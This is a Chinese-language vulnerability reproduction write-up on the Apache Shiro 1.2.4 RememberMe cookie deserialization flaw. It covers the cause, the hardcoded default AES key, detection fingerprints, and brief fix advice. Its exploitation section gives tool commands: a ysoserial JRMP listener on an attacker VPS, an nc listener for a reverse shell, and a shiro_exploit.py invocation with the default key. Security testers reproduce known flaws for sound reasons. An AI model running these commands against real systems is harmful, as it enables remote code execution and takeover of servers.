zoukankan      html  css  js  c++  java
  • 【漏洞复现】Shiro<=1.2.4反序列化漏洞

    0x01 概述

     

    Shiro简介

    Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

    漏洞概述

    Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

    漏洞原理

    Apache Shiro框架提供了记住密码的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。 在服务端接收cookie值时,按照如下步骤来解析处理:

    1、检索RememberMe cookie 的值
    2、Base64解码
    3、使用AES解密(加密密钥硬编码)
    4、进行反序列化操作(未作过滤处理)

    在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞

    利用条件

    需要知道key(AES加密密钥)

    Shiro1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为:kPH+bIxk5D2deZiIxcaaaA==

    尽管目前已经更新了许多版本,官方并没有反序列化漏洞本身解决,而是通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。这里我们可以通过搜索引擎、github等来收集密钥,提高漏洞检测与利用的成功率。

     

    0x02 检测与利用

    特征

    1、登录页面的响应包的Set-Cookie中存在rememberMe=deleteMe
    2、登陆后Cookie中有rememberMe=

    工具检测与利用

    工具1:ShiroExploit.jar + ysoserial.jar

    下载地址:https://github.com/feihong-cs/ShiroExploit

    1、输入待测URL

    2、选择检测方式

    (1)选择使用哪种方式检测

    (2)自动遍历寻找key

    (3)自动寻找可用Gadget

    3、执行命令(需要编码,在线转换地址:http://www.jackson-t.ca/runtime-exec-payloads.html

    (1)执行命令(手动编码后执行)

    手动编码

    执行命令

    执行成功

     

    (2)直接反弹shell(工具自动编码执行)

    工具2:shiro_exploit.py + ysoserial.jar

    下载地址:https://github.com/insightglacier/Shiro_exploit

    (1)VPS开启JRMP监听

    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 '编码后的命令'

    (2)VPS开启nc

    nc -l 8080

    (3)本地执行shiro_exploit.py

    python2 shiro_exploit.py -u "http://192.168.17.157:8080" -t 2 -g JRMPClient -p "VPS_IP:1099" -k "kPH+bIxk5D2deZiIxcaaaA=="

     

    0x03 修复建议

    1、升级最新版Shiro

    2、不要硬编码

  • 相关阅读:
    pgspider sqlite mysql docker 镜像
    pgspider docker 镜像
    pgspider基于pg 的高性能数据可视化sql 集群引擎
    diesel rust orm 框架试用
    golang 条件编译
    Performance Profiling Zeebe
    bazel 学习一 简单java 项目运行
    一个好用node http keeplive agnet
    gox 简单灵活的golang 跨平台编译工具
    mailhog 作为smtp server mock工具
  • 原文地址:https://www.cnblogs.com/0nth3way/p/13928373.html
Copyright © 2011-2022 走看看